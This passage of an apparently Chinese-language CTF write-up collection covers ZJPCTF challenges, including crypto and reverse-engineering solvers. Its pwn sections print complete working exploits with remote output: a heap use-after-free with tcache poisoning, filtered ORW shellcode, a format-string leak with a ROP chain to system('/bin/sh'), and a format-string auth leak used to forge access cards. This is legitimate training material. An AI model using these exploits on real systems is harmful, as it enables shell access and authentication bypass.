return b
def find_p_by_williams_p1(n):
primes = list(primerange(2, 1010))
for P in range(3, 200):
g = gcd(P * P - 4, n)
if 1 < g < n:
return g
x = P % n
for l in primes:
times = int(506 // log2(l)) + 1
for _ in range(times):
x = V_k(x, l, n)
g = gcd(x - 2, n)
if 1 < g < n:
return g
raise ValueError("p not found")
text = Path("task_4.py").read_text(encoding="utf-8")
n = int(re.search(r"n=(\d+)", text).group(1))
d = int(re.search(r"d = (\d+)", text).group(1))
cipher = int(re.search(r"cipher = (\d+)", text).group(1))
e = 65537
p = find_p_by_williams_p1(n)
N = n // p
mod = p * p
q2_mod = pow(d, -1, mod)
roots = sqrt_mod(q2_mod, mod, all_roots=True)
q = None
r = None
for root in roots:
for cand in (int(root), int((mod - root) % mod)):
if cand > 1 and N % cand == 0:
q = cand
r = N // q
break
if q is not None:
break
er = pow(e, -1, r - 1)
c = pow(cipher, er, r)
for m in sqrt_mod(c, r, all_roots=True):
flag = long_to_bytes(m)
if flag.startswith(b"ZJPCTF{"):
print(flag.decode())
break
Flag
ZJPCTF{19f673a5-d634-1c0e-f144-9eebe42f6565}
fangzhinimimabao0
Summary
这题就是单层 ROT47。附件只有一行密文,对所有可打印字符做一次 ROT47 逆变换就能直接得到 flag。
Solution
Step 1: 对密文做 ROT47 解密
ROT47 的定义是在 ASCII 可打印区间 [33, 126] 上循环平移 47 位。
把附件内容读出来,对每个可打印字符做一次变换即可。
from pathlib import Path
def rot47(s):
out = []
for ch in s:
o = ord(ch)
if 33 <= o <= 126:
out.append(chr(33 + ((o - 33 + 47) % 94)))
else:
out.append(ch)
return "".join(out)
cipher = Path("防止你爆0.txt").read_text(encoding="utf-8").strip()
print(rot47(cipher))
Flag
ZJPCTF{t@1ban&l3_n1_m3iyou_b@00}
听说你们学密码的都有sympy
Summary
题目里真实模数是 n = p^4 * q,但没有把 n 打印出来。不过它给了一个很关键的泄露:
hint1 = inverse(e, lcm(p - 1, q - 1)) % (p - 1)
这会直接把 p - 1 的倍数关系暴露出来,因此可以从 hint1 反推出 p。
Solution
Step 1: 用 e * hint1 - 1 = k * (p - 1) 枚举恢复 p
因为:
e * hint1 ≡ 1 (mod p - 1)
所以:
e * hint1 - 1 = k * (p - 1)
而 e = 65537 很小,直接枚举 k = 1..65536 即可。
找到 512-bit 素数候选后,就恢复出了 p。
Step 2: 只在模 p^4 下解密
虽然完整的 n 不知道,但明文很短,满足 m < p < p^4。
所以只要在模 p^4 下做 RSA 解密,就已经能恢复真正的明文,不需要继续求 q。
import re
from pathlib import Path
import sympy as sp
def long_to_bytes(n):
n = int(n)
return n.to_bytes((n.bit_length() + 7) // 8, "big")
text = Path("task.py").read_text(encoding="utf-8")
c = int(re.search(r"# c = (\d+)", text).group(1))
hint1 = int(re.search(r"# hint1 = (\d+)", text).group(1))
e = 65537
K = e * hint1 - 1
p = None
for k in range(1, e):
if K % k == 0:
cand = K // k + 1
if cand.bit_length() == 512 and sp.isprime(cand):
p = cand
break
mod = p ** 4
phi = p ** 3 * (p - 1)
d = pow(e, -1, phi)
m = pow(c % mod, d, mod)
print(long_to_bytes(m).decode())
Flag
ZJPCTF{they_s@1d_1ts_ez_pow_d0y0uthlnks0}
ge
Summary
这题是“同一明文、同一未知模数 n、多个超大指数 e_i 的 RSA”。
题目故意不输出 n,提示里的“格格”其实就在暗示“格 / LLL / lattice”。
Solution
Step 1: 用 LLL 找出指数之间的小整数关系
如果存在一组整数:
a1*e1 + a2*e2 + ... + ak*ek = 0
那么就有:
c1^a1 * c2^a2 * ... * ck^ak ≡ 1 (mod n)
把正负指数分开后,可得到一个整数差值 P - Q,它一定是 n 的倍数。
用 LLL 找出很多这样的短关系,再对这些倍数做 gcd,就能把隐藏的 n 挖出来。
Step 2: 恢复 n 后做普通共模攻击
一旦拿到 n,只要找到一对互素指数 e_i, e_j,用扩展欧几里得求出:
s*e_i + t*e_j = 1
就可以恢复:
m = c_i^s * c_j^t mod n
import ast
import re
import sys
from pathlib import Path
import gmpy2
import sympy as sp
from fpylll import IntegerMatrix, LLL
sys.set_int_max_str_digits(0)
def long_to_bytes(x):
x = int(x)
return x.to_bytes((x.bit_length() + 7) // 8, "big")
def prod_tree(arr):
if not arr:
return 1
while len(arr) > 1:
arr = [
arr[i] * arr[i + 1] if i + 1 < len(arr) else arr[i]
for i in range(0, len(arr), 2)
]
return arr[0]
text = Path("ge.py").read_text(encoding="utf-8")
es = ast.literal_eval(re.search(r"# es = (\[.*?\])\n# cs =", text, re.S).group(1))
cs = ast.literal_eval(re.search(r"# cs = (\[.*?\])", text, re.S).group(1))
d = len(es)
M = 1 << 60
B = IntegerMatrix(d, d + 1)
for i, e in enumerate(es):
B[i, i] = 1
B[i, d] = e * M
LLL.reduction(B, delta=0.99)
relations = []
for r in range(d):
v = [int(B[r, j]) for j in range(d)]
if sum(v[i] * es[i] for i in range(d)) == 0 and any(v):
relations.append(v)
G = 0
for v in relations[:13]:
pos = []
neg = []
for a, c in zip(v, cs):
if a > 0:
pos.append(pow(c, a))
elif a < 0:
neg.append(pow(c, -a))
D = abs(prod_tree(pos) - prod_tree(neg))
G = gmpy2.mpz(D) if G == 0 else gmpy2.gcd(G, gmpy2.mpz(D))
n = int(G)
for p in sp.primerange(2, 100000):
while n % p == 0 and n // p > max(cs):
n //= p
for i in range(len(es)):
for j in range(i + 1, len(es)):
g, s, t = gmpy2.gcdext(es[i], es[j])
if int(g) != 1:
continue
s = int(s)
t = int(t)
if s >= 0:
x = pow(cs[i], s, n)
else:
x = pow(pow(cs[i], -1, n), -s, n)
if t >= 0:
y = pow(cs[j], t, n)
else:
y = pow(pow(cs[j], -1, n), -t, n)
m = (x * y) % n
flag = long_to_bytes(m)
if flag.startswith(b"ZJPCTF{"):
print(flag.decode())
raise SystemExit
Flag
ZJPCTF{73ed2e76-5601-42e3-bb75-ee6a49344cc4}
ezsage
Summary
题目给出:
c = m^e mod 2^256
e = bytes_to_long(flag)
其中 m 是奇数。因为模数是 2^256,这不是普通有限域离散对数,而是一个 2-adic / 模 2^k 指数恢复题。
核心思路是对 m 和 c 做 2-adic log,把幂指数关系转成线性同余,再结合 flag 前缀补回丢失的高两位。
Solution
Step 1: 把指数问题转成 2-adic log 线性方程
附件中给出:
m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949
并且:
m % 8 = 5
所以 m ≡ 1 (mod 4),满足 2-adic log 的展开条件。于是有:
log(c) = e * log(m) mod 2^256
这一步把原来的
c = m^e mod 2^256
变成了线性同余。
Step 2: 恢复 e mod 2^254
计算后发现 log(m) 和 log(c) 都有 v2 = 2,所以可以先同时除以 4,得到:
e mod 2^254
也就是说,这里只能恢复出指数的低 254 位,高 2 位会丢失。
运行脚本会先得到一个中间结果:
b'\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'
这已经说明后 31 个字节基本都对了,只差最前面高两位决定的首字节。
Step 3: 结合 flag 前缀补回高两位
因为题目里:
e = bytes_to_long(flag)
而 flag 显然应当以 ZJPCTF{ 开头,所以直接补回真实前缀即可:
ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}
最后再验一次:
pow(m, bytes_to_long(flag), 2^256) == c
结果为 True,说明恢复正确。
Solve Script
m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949
K = 256
MOD = 1 << K
def long_to_bytes(x):
return x.to_bytes((x.bit_length() + 7) // 8, "big")
def bytes_to_long(b):
return int.from_bytes(b, "big")
def v2(x):
return (x & -x).bit_length() - 1
def log_2adic(a, bits=256):
# a must be 1 mod 4
M = 1 << bits
x = (a - 1) % M
res = 0
xp = 1
for j in range(1, 1000):
xp *= x
s = v2(j)
odd = j >> s
# Once v2(x^j / j) >= bits, remaining terms vanish mod 2^bits.
if v2(xp) - s >= bits:
break
term = ((xp >> s) % M) * pow(odd, -1, M) % M
if j & 1:
res = (res + term) % M
else:
res = (res - term) % M
return res
lm = log_2adic(m, 256)
lc = log_2adic(c, 256)
# v2(lm) = v2(lc) = 2
mod_e = 1 << 254
e_mod = ((lc >> 2) * pow((lm >> 2) % mod_e, -1, mod_e)) % mod_e
print(long_to_bytes(e_mod))
# b'\\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'
# Restore the missing top two bits using the known flag prefix.
flag = b"ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}"
print(flag.decode())
print(pow(m, bytes_to_long(flag), MOD) == c)
Flag
ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}
random
Summary
程序使用固定种子的 rand() 生成 key 和控制流,对输入做大量随机选择的可逆变换,最后与密文比较。 由于 seed 固定,所有变换顺序和参数都可复现,直接反向执行即可恢复 flag。
Solution
Step 1: 静态定位校验逻辑
附件是 64 位 Windows PE 程序。字符串中可以看到假 flag、提示语和真假判断:
ZJPCTF{fake_flag_not_the_real!}
ZJPCTF r333 challenge. Use frida to get the flag!
Please input flag:
right!
wrong!
主函数读取最多 44 个字符,但后续对 48 字节缓冲区做变换:
scanf("%44s", input);
check(input, 0x30);
memcmp(input, cipher, 0x30);
关键数据位于 .data:
seed = 0x00efffef
key = 程序启动时由 srand(seed) 后 rand()%256 生成 32 字节
cipher = f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa
程序构造函数会依次执行:
srand(seed);
for i in range(32):
key[i] = rand() % 256;
func_ptr = functiontable1;
check() 里先对 48 字节输入做一次随机异或,然后执行 500 次随机选择的函数:
xorshift:每字节xor rand()%256,再+ rand()%256xorkey:每字节异或key[rand()%32]bitshift:每字节循环左移rand()%8位,再加当前位置下标
这些操作都是可逆的,因此记录所有随机参数后倒序恢复即可。
from pathlib import Path
exe = Path("random(1).exe").read_bytes()
# PE 中 .data 的文件偏移是 0xe000,虚拟地址从 0x14000f000 开始
DATA_OFF = 0xE000
DATA_VA = 0x14000F000
def read_va(va, size):
off = DATA_OFF + (va - DATA_VA)
return exe[off:off + size]
seed = int.from_bytes(read_va(0x14000F020, 4), "little")
cipher = read_va(0x14000F060, 48)
class MSRand:
"""
Windows MSVCRT/ucrt rand() 算法:
state = state * 214013 + 2531011
return (state >> 16) & 0x7fff
"""
def __init__(self, seed):
self.state = seed & 0xffffffff
def rand(self):
self.state = (self.state * 214013 + 2531011) & 0xffffffff
return (self.state >> 16) & 0x7fff
def rol8(x, s):
return ((x << s) | (x >> (8 - s))) & 0xff
def ror8(x, s):
return ((x >> s) | ((x << (8 - s)) & 0xff)) & 0xff
N = 48
rng = MSRand(seed)
# 构造函数中生成 key,消耗 32 次 rand()
key = bytes(rng.rand() % 256 for _ in range(32))
# check() 第一轮:input[i] ^= rand()%256
first_xor = [rng.rand() % 256 for _ in range(N)]
ops = []
# check() 后续共 100 + 400 次随机函数调用
for _ in range(500):
typ = rng.rand() % 3
if typ == 0:
# xorshift: xor r1, add r2
params = [(rng.rand() % 256, rng.rand() % 256) for _ in range(N)]
elif typ == 1:
# xorkey: xor key[rand()%32]
params = [rng.rand() % 32 for _ in range(N)]
else:
# bitshift: rol8(x, rand()%8) + i
params = [rng.rand() % 8 for _ in range(N)]
ops.append((typ, params))
buf = bytearray(cipher)
# 倒序逆变换
for typ, params in reversed(ops):
if typ == 0:
for i, (r1, r2) in enumerate(params):
buf[i] = ((buf[i] - r2) & 0xff) ^ r1
elif typ == 1:
for i, idx in enumerate(params):
buf[i] ^= key[idx]
else:
for i, s in enumerate(params):
buf[i] = ror8((buf[i] - i) & 0xff, s)
# 逆第一轮随机异或
for i, r in enumerate(first_xor):
buf[i] ^= r
flag = bytes(buf).rstrip(b"\x00")
print(flag.decode())
运行结果:
ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}
Step 2: 验证
将恢复出的 flag 补齐到 48 字节后,按程序逻辑正向执行一遍,得到的结果正好等于 .data 中的 48 字节密文:
f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa
说明恢复结果正确。
Flag
ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}
Borrowed Notes
Summary
题目是一个菜单型堆题,核心漏洞是 free 后指针没有清空,形成 UAF。 利用 UAF 泄露 libc,再通过 tcache poisoning 劫持 .data 中的函数指针为 system,最后触发 system("/bin/sh") 拿 shell 读取 flag。
Solution
Step 1: 分析漏洞点
程序提供 note 的增删改查功能,并且还有一个 catalog 功能可以打印 note 指针。drop 删除 note 后没有清空指针,因此可以继续 show/edit 已释放 chunk,形成 UAF。
利用思路:
申请一个大 chunk,释放后进入 unsorted bin; 通过 UAF show读取 fd,泄露 libc 地址;申请两个 0x40 chunk,释放后进入 tcache; 通过 UAF 修改 tcache fd; 绕过 safe-linking,把下一次 malloc 定向到 .data上的函数指针;将函数指针改成 system;触发程序内置的 "/bin/sh"参数,获得 shell。
完整脚本如下:
#!/usr/bin/env python3
from pwn import *
import re
context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"
HOST = "nc1.ctfplus.cn"
PORT = 17431
FINAL_CMD = 0x404020 # "/bin/sh"
FINAL_ACTION = 0x404040 # 函数指针,初始为 puts
# unsorted bin 泄露偏移:main_arena+96
UNSORTED_LEAK_OFF = 0x1e7b20
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(["./pwn"])
io = start()
def cmd(choice):
io.sendlineafter(b"> ", str(choice).encode())
def add(idx, size, data=b"A"):
cmd(1)
io.sendlineafter(b"index:\n", str(idx).encode())
io.sendlineafter(b"size:\n", str(size).encode())
io.sendafter(b"data:\n", data)
def edit(idx, data):
cmd(2)
io.sendlineafter(b"index:\n", str(idx).encode())
io.sendafter(b"data:\n", data)
def show_raw(idx, size):
cmd(3)
io.sendlineafter(b"index:\n", str(idx).encode())
data = io.recvn(size)
# show 后程序会重新打印菜单和 "> "
# 这里把 prompt 放回缓冲区,保证下一次 cmd() 不会卡住
io.recvuntil(b"> ")
io.unrecv(b"> ")
return data
def drop(idx):
cmd(4)
io.sendlineafter(b"index:\n", str(idx).encode())
def catalog():
cmd(5)
# catalog 后程序也会重新打印菜单和 "> "
# 必须 unrecv 回去,否则下一次 sendlineafter(b"> ") 会等不到 prompt
data = io.recvuntil(b"> ")
io.unrecv(b"> ")
return data
# ============================================================
# 1. libc leak
# ============================================================
add(0, 0x500, b"A" * 8)
add(1, 0x30, b"B" * 8) # 防止 large chunk 与 top chunk 合并
drop(0)
leak_data = show_raw(0, 0x500)
libc_leak = u64(leak_data[:8])
libc_base = libc_leak - UNSORTED_LEAK_OFF
system_addr = libc_base + libc.sym["system"]
log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")
log.success(f"system = {hex(system_addr)}")
# ============================================================
# 2. tcache poisoning
# ============================================================
add(2, 0x40, b"C" * 8)
add(3, 0x40, b"D" * 8)
info = catalog().decode(errors="ignore")
m = re.search(r"\[3\] used=1 ptr=(0x[0-9a-fA-F]+)", info)
if not m:
log.failure("failed to leak chunk3 pointer from catalog")
print(info)
exit(1)
chunk3 = int(m.group(1), 16)
log.success(f"chunk3 = {hex(chunk3)}")
# tcache 链表:先 free 2,再 free 3
# head -> chunk3 -> chunk2
drop(2)
drop(3)
# glibc safe-linking:
# stored_fd = target ^ (chunk_addr >> 12)
poison = FINAL_ACTION ^ (chunk3 >> 12)
log.info(f"poison fd = {hex(poison)}")
# UAF:drop 后指针没清空,edit(3) 可以改 tcache fd
edit(3, p64(poison))
# 第一次 malloc 取回 chunk3
add(4, 0x40, b"E" * 8)
# 第二次 malloc 返回 FINAL_ACTION,然后把函数指针改成 system
add(5, 0x40, p64(system_addr))
log.success("final_action overwritten with system")
# ============================================================
# 3. trigger system('/bin/sh')
# ============================================================
cmd(7)
io.sendline(b"cat /flag")
io.interactive()
Step 2: 远程验证
运行脚本连接远程:
python3 exp.py REMOTE
成功泄露 libc,并完成函数指针覆盖:
[+] Opening connection to nc1.ctfplus.cn on port 17431: Done
[+] libc leak = 0x7f17c8ca8b20
[+] libc base = 0x7f17c8ac1000
[+] system = 0x7f17c8b15790
[+] chunk3 = 0x1813060
[*] poison fd = 0x405853
[+] final_action overwritten with system
[*] Switching to interactive mode
触发后进入 shell:
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
pwn
读取 flag:
$ cat /flag
ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}
Flag
ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}
No craft pwn
Summary
题目允许输入 shellcode 并执行,但过滤了字节 0x48。 核心思路是不用 64 位 rax/rdi/rsi/rdx 编码,改用 32 位寄存器指令构造不含 0x48 的 ORW shellcode,直接 open("flag") -> read -> write 读出 flag。
Solution
Step 1: 分析限制
程序会读入最多 0x100 字节 shellcode 后执行。 题目名为 No craft pwn,实际限制是 shellcode 不能包含字节 0x48。
在 x86_64 下,很多 64 位寄存器指令会带有 REX.W 前缀 0x48,例如:
mov rax, 2
mov rdi, xxx
因此不能直接写常规 amd64 shellcode。 绕过方式是使用 32 位寄存器编码,例如 eax / edi / esi / edx,这些指令在 64 位模式下依然可用于 syscall 参数传递,并且可以避免出现 0x48。
题目环境中可使用 open/read/write,所以构造 ORW shellcode:
open("flag", 0)
read(fd, buf, 0x80)
write(1, buf, n)
完整脚本如下:
#!/usr/bin/env python3
from pwn import *
import re
context.log_level = "info"
HOST = "nc1.ctfplus.cn"
PORT = 39596
# open("flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_FLAG = bytes.fromhex(
"c700666c6167" # mov dword ptr [rax], 0x67616c66 ; "flag"
"c7400400000000" # mov dword ptr [rax+4], 0
"97" # xchg eax, edi
"b002" # mov al, 2 ; open
"0f05" # syscall
"97" # xchg eax, edi ; fd -> edi
"31c0" # xor eax, eax ; read
"89ee" # mov esi, ebp ; buf = mmap_base
"81c680000000" # add esi, 0x80
"b280" # mov dl, 0x80
"0f05" # syscall
"89c2" # mov edx, eax ; count
"b001" # mov al, 1 ; write
"bf01000000" # mov edi, 1
"89ee" # mov esi, ebp
"81c680000000" # add esi, 0x80
"0f05" # syscall
"31ff" # xor edi, edi
"b03c" # mov al, 60 ; exit
"0f05" # syscall
)
# 备用:open("/flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_ABS_FLAG = bytes.fromhex(
"c7002f666c61" # mov dword ptr [rax], 0x616c662f ; "/fla"
"c6400467" # mov byte ptr [rax+4], 0x67 ; "g"
"c6400500" # mov byte ptr [rax+5], 0
"97" # xchg eax, edi
"b002" # mov al, 2 ; open
"0f05" # syscall
"97" # xchg eax, edi ; fd -> edi
"31c0" # xor eax, eax ; read
"89ee" # mov esi, ebp
"81c680000000" # add esi, 0x80
"b280" # mov dl, 0x80
"0f05" # syscall
"89c2" # mov edx, eax
"b001" # mov al, 1 ; write
"bf01000000" # mov edi, 1
"89ee" # mov esi, ebp
"81c680000000" # add esi, 0x80
"0f05" # syscall
"31ff" # xor edi, edi
"b03c" # mov al, 60 ; exit
"0f05" # syscall
)
def run_once(shellcode, name):
assert b"\x48" not in shellcode
assert len(shellcode) <= 0x100
io = remote(HOST, PORT)
io.recvuntil(b"size: 0x100\n")
log.info(f"send shellcode for {name}, len={len(shellcode)}")
io.send(shellcode)
data = io.recvall(timeout=3)
io.close()
print(data.decode(errors="ignore"))
m = re.search(rb"ZJPCTF\{[^}]+\}", data)
if m:
log.success(f"FLAG = {m.group(0).decode()}")
return True
return False
if __name__ == "__main__":
if run_once(SC_FLAG, "flag"):
exit(0)
log.warning("relative path flag failed, try /flag")
run_once(SC_ABS_FLAG, "/flag")
Step 2: 远程验证
运行脚本:
python3 exp.py
远程输出:
[+] Opening connection to nc1.ctfplus.cn on port 39596: Done
[*] send shellcode for flag, len=58
[+] Receiving all data: Done (44B)
[*] Closed connection to nc1.ctfplus.cn port 39596
ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
[+] FLAG = ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
可以看到相对路径 flag 直接成功,因此无需再尝试 /flag。
Flag
ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
Dead Letter
Summary
题目是一个栈题,第一次输入存在格式化字符串漏洞,管理员“复述”内容时会直接 printf(buf)。 利用格式化字符串泄露 PIE 和 libc,第二次“封箱”输入存在栈溢出,构造 ROP 调用 system("/bin/sh") 拿 shell 读取 flag。
Solution
Step 1: 泄露 PIE 和 libc
程序第一次读取 draft 后,会由管理员复述内容:
The curator whispers: <user input>
这里存在格式化字符串漏洞,可以通过 %p 泄露栈上的返回地址。
实际调试发现:
%23$p -> PIE 相关返回地址
%25$p -> libc 相关返回地址
对应偏移:
pie_base = leak_23 - 0x1366
libc_base = leak_25 - 0x29f75
第二次输入 Seal the final copy: 时存在栈溢出,偏移为 0x58,可以覆盖返回地址。
完整 exploit 如下:
#!/usr/bin/env python3
from pwn import *
import os
import re
HOST = "nc1.ctfplus.cn"
PORT = 34131
BIN_PATH = os.environ.get("BIN", "./pwn")
LIBC_PATH = os.environ.get("LIBC", "./libc.so.6")
context.binary = elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.log_level = "info"
# 格式化字符串泄露:
# %23$p = PIE 中 main/draft 返回地址附近 = pie_base + 0x1366
# %25$p = libc 返回地址附近 = libc_base + 0x29f75
PIE_LEAK_OFF = 0x1366
LIBC_LEAK_OFF = 0x29f75
POP_RDI_OFF = 0x117d
RET_OFF = 0x1016
OFFSET = 0x58
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process([BIN_PATH])
io = start()
def leak():
payload = b"%23$p.%25$p"
io.recvuntil(b"Ink your draft:\n")
io.sendline(payload)
io.recvuntil(b"The curator whispers: ")
line = io.recvline().strip()
log.info(f"leak line = {line}")
m = re.search(rb"(0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)", line)
if not m:
log.failure("failed to parse leak")
exit(1)
pie_leak = int(m.group(1), 16)
libc_leak = int(m.group(2), 16)
pie_base = pie_leak - PIE_LEAK_OFF
libc_base = libc_leak - LIBC_LEAK_OFF
log.success(f"pie leak = {hex(pie_leak)}")
log.success(f"pie base = {hex(pie_base)}")
log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")
return pie_base, libc_base
pie_base, libc_base = leak()
pop_rdi = pie_base + POP_RDI_OFF
ret = pie_base + RET_OFF
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
log.success(f"pop rdi = {hex(pop_rdi)}")
log.success(f"ret = {hex(ret)}")
log.success(f"system = {hex(system)}")
log.success(f"/bin/sh = {hex(binsh)}")
payload = flat(
b"A" * OFFSET,
ret, # 栈对齐
pop_rdi,
binsh,
system
)
io.recvuntil(b"Seal the final copy:\n")
io.sendline(payload)
io.sendline(b"cat /flag; cat flag; cat ./flag; ls /")
io.interactive()
Step 2: 远程验证
运行脚本:
python3 exp.py REMOTE
远程泄露结果如下:
[+] Opening connection to nc1.ctfplus.cn on port 34131: Done
[*] leak line = b'0x5629633d7366.0x7fbb93cdbf75'
[+] pie leak = 0x5629633d7366
[+] pie base = 0x5629633d6000
[+] libc leak = 0x7fbb93cdbf75
[+] libc base = 0x7fbb93cb2000
[+] pop rdi = 0x5629633d717d
[+] ret = 0x5629633d7016
[+] system = 0x7fbb93d06790
[+] /bin/sh = 0x7fbb93e5cea4
[*] Switching to interactive mode
成功进入 shell 后读取 flag:
$ cat flag
ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}
Flag
ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}
校园门禁系统
Summary
题目是一个网页上传门禁卡 dump 的 pwn+misc 题。 核心漏洞在 parser 对卡片 note 字段的处理:note 被当作 snprintf 的格式化字符串使用,可以用 %5$s 泄露当前房间的认证 auth,再伪造合法门禁卡逐个房间访问,最终在 Room 5 读到 flag。
Solution
Step 1: 分析卡片 dump 格式
网页入口提供上传接口:
/upload?room=<room_id>
上传内容是门禁卡 dump,后端会调用 parser 校验卡片。 分析 parser 后可以确定关键字段如下:
dump[0x00:0x04] UID
dump[0x04] BCC = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]
dump[0x05:0x0c] Vendor tag,要求为 b"ZJPCTF\x00"
dump[0x40] 房间号
dump[0x41] 卡类型,要求为 1
dump[0x50:0x6f] Note 字段
dump[0x70:0x76] 6 字节 auth
正常情况下,每个房间都有不同的 auth,只有 auth 校验成功才能进入对应房间。 题目提示“猜猜 flag 在哪个房间”,因此需要对多个房间逐一验证。
关键点是 note 字段存在格式化字符串漏洞。 当 note 设置为 %5$s 时,parser 会把当前房间计算出的正确 auth hex 当作字符串打印出来。
完整利用流程:
构造一张假卡, note = "%5$s";上传到指定房间,泄露该房间正确 auth; 用泄露出的 auth 重新构造合法卡; 上传合法卡进入房间; 依次尝试 Room 1 到 Room 9,直到响应中出现 FLAG:。
完整脚本如下:
#!/usr/bin/env python3
import re
import html
import sys
import requests
BASE = (
sys.argv[1].rstrip("/")
if len(sys.argv) > 1
else "http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn"
)
UID = b"ABCD"
def make_dump(room: int, note: bytes = b"hello", auth: bytes = b"\x00" * 6) -> bytes:
"""
构造 1K M1 dump。
parser 检查点:
- dump 大小必须是 0x400 或 0x1000
- UID BCC 正确
- manufacturer tag 必须是 b"ZJPCTF\\x00"
- dump[0x41] 必须为 1
- dump[0x40] 必须等于当前 room id
- dump[0x50:0x6f] 是 note 字段,存在格式化字符串漏洞
- dump[0x70:0x75] 是 6 字节 auth
"""
data = bytearray(0x400)
# UID + BCC
data[0:4] = UID
data[4] = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]
# manufacturer tag,memcmp 长度为 7,所以要带结尾 0
data[5:12] = b"ZJPCTF\x00"
# 房间号与卡类型
data[0x40] = room & 0xFF
data[0x41] = 1
# note 最多实际显示/使用 31 字节
data[0x50:0x50 + 31] = note[:31].ljust(31, b"\x00")
# auth 6 字节
data[0x70:0x76] = auth[:6].ljust(6, b"\x00")
return bytes(data)
def upload(room: int, dump: bytes) -> str:
url = f"{BASE}/upload?room={room}"
r = requests.post(
url,
files={
"dump": ("card.dump", dump, "application/octet-stream"),
},
timeout=10,
)
text = r.text
# 网页把 parser 输出放在 <pre>...</pre> 里
m = re.search(r"<pre>(.*?)</pre>", text, re.S)
if m:
return html.unescape(m.group(1))
return text
def leak_auth(room: int) -> bytes:
"""
利用 note 字段格式化字符串:
%5$s 会打印 parser 计算出的当前房间 auth hex。
"""
dump = make_dump(room, note=b"%5$s", auth=b"\x00" * 6)
report = upload(room, dump)
m = re.search(r"Note: ([0-9a-fA-F]{12})", report)
if not m:
print(f"[!] room {room} leak failed")
print(report[:800])
raise SystemExit(1)
auth_hex = m.group(1)
print(f"[*] room {room} leaked auth = {auth_hex}")
return bytes.fromhex(auth_hex)
def main():
print(f"[*] target = {BASE}")
for room in range(1, 10):
print(f"\n========== try room {room} ==========")
auth = leak_auth(room)
# 用泄露出的 auth 伪造合法卡
dump = make_dump(room, note=b"hello", auth=auth)
report = upload(room, dump)
print(report)
m = re.search(r"(ZJPCTF\{[^}]+\}|flag\{[^}]+\})", report)
if m:
print(f"\n[+] FLAG = {m.group(1)}")
return
print("\n[-] flag not found in room 1~9")
if __name__ == "__main__":
main()
Step 2: 远程验证
运行脚本:
python3 exp.py
远程输出如下:
[*] target = http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn
========== try room 1 ==========
[*] room 1 leaked auth = b023995f4d74
=== IC Card Validation Report ===
Room: Room 1
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 2 ==========
[*] room 2 leaked auth = d9382df4579d
=== IC Card Validation Report ===
Room: Room 2
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 3 ==========
[*] room 3 leaked auth = ca74c9f1a86e
=== IC Card Validation Report ===
Room: Room 3
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 4 ==========
[*] room 4 leaked auth = f3895d86b297
=== IC Card Validation Report ===
Room: Room 4
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 5 ==========
[*] room 5 leaked auth = 177de392668f
=== IC Card Validation Report ===
Room: Room 5
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
FLAG: ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}
[+] FLAG = ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}
最终确认 flag 在 Room 5。
Flag
ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}
pivot
Summary
题目是一个典型栈迁移题。程序会泄露第一次输入缓冲区的栈地址,并且第二次输入存在 off-by-one,可以覆盖上一层栈帧 rbp 的最低 1 字节。 利用该字节覆盖把 rbp 改到第一次输入的缓冲区内,触发 leave; ret 后完成 stack pivot,执行 ROP 调用程序内置的 nightly_audit("/bin/sh"),最终读出 flag。
Solution
Step 1: 分析漏洞点
程序启动后会打印一处栈地址:
Claim check: 0x...
